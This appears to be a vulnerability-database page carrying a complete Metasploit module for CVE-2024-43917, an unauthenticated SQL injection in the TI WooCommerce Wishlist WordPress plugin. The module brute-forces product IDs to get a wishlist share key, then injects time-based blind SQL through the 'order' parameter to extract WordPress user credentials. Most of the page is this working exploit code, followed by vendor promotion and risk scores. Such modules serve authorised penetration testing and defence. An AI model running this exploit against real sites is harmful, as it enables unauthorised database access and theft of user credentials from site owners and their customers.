Lucene search
+L

WordPress TI WooCommerce Wishlist SQL Injection (CVE-2024-43917)

🗓️ 31 Oct 2024 18:53:11Reported by Rafie Muhammad, Valentin LobsteinType 
metasploit
 metasploit
🔗 www.rapid7.com👁 358 Views

The TI WooCommerce Wishlist plugin <= 2.8.2 is vulnerable to an unauthenticated SQL injection, allowing attackers to retrieve sensitive information. Metasploit module can retrieve share keys and perform SQL injection to exploit the vulnerability

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::Remote::HTTP::Wordpress::SQLi

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress TI WooCommerce Wishlist SQL Injection (CVE-2024-43917)',
        'Description' => %q{
          The TI WooCommerce Wishlist plugin <= 2.8.2 is vulnerable to an unauthenticated SQL injection, allowing attackers to retrieve sensitive information.
        },
        'Author' => [
          'Rafie Muhammad',       # Vulnerability Discovery
          'Valentin Lobstein'     # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-43917'],
          ['WPVDB', 'e994753e-ce18-48cf-8087-897ec8db2eef'],
          ['URL', 'https://patchstack.com/articles/unpatched-sql-injection-vulnerability-in-ti-woocommerce-wishlist-plugin/']
        ],
        'Actions' => [
          ['Retrieve Share Key and Perform SQLi', { 'Description' => 'Retrieve share key and perform SQL Injection' }]
        ],
        'DefaultAction' => 'Retrieve Share Key and Perform SQLi',
        'DefaultOptions' => { 'VERBOSE' => true, 'COUNT' => 1 },
        'DisclosureDate' => '2024-09-25',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options [
      OptInt.new('PRODUCT_ID_MIN', [true, 'Minimum Product ID to bruteforce', 0]),
      OptInt.new('PRODUCT_ID_MAX', [true, 'Maximum Product ID to bruteforce', 100])
    ]
  end

  def get_share_key
    min = datastore['PRODUCT_ID_MIN']
    max = datastore['PRODUCT_ID_MAX']
    print_status("Testing Product IDs from #{min} to #{max}, please wait...")

    (min..max).each do |product_id|
      post_data = Rex::MIME::Message.new
      post_data.add_part('', nil, nil, 'form-data; name="tinv_wishlist_id"')
      post_data.add_part(product_id.to_s, nil, nil, 'form-data; name="product_id"')
      post_data.add_part('addto', nil, nil, 'form-data; name="product_action"')

      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path),
        'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
        'data' => post_data.to_s
      })

      next unless res&.code == 200

      json_body = res.get_json_document
      wishlist_data = json_body['wishlists_data']['products']

      next unless wishlist_data && !wishlist_data.empty?

      share_key = json_body['wishlist']['share_key']
      if share_key
        print_good("Share key found: #{share_key}")
        return share_key
      end
    end

    fail_with(Failure::NotFound, 'No valid product ID found.')
  end

  def run_host(_ip)
    share_key = get_share_key
    print_status("Performing SQL Injection using share key: #{share_key}")

    @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => target_uri.path,
        'vars_get' => {
          '_method' => 'GET',
          'order' => ",(SELECT #{payload})--"
        },
        'vars_post' => {
          'rest_route' => "/wc/v3/wishlist/#{share_key}/get_products"
        },
        'keep_cookies' => true
      })

      fail_with(Failure::Unreachable, 'Connection failed') unless res
    end

    if @sqli.test_vulnerable
      print_status('SQL Injection successful, retrieving user credentials...')
      wordpress_sqli_initialize(@sqli)
      wordpress_sqli_get_users_credentials(datastore['COUNT'])
    else
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable to SQL injection.')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 19:06Current
9High risk
Vulners AI Score9
CVSS 3.19.3 - 9.8
EPSS0.21769
SSVC
358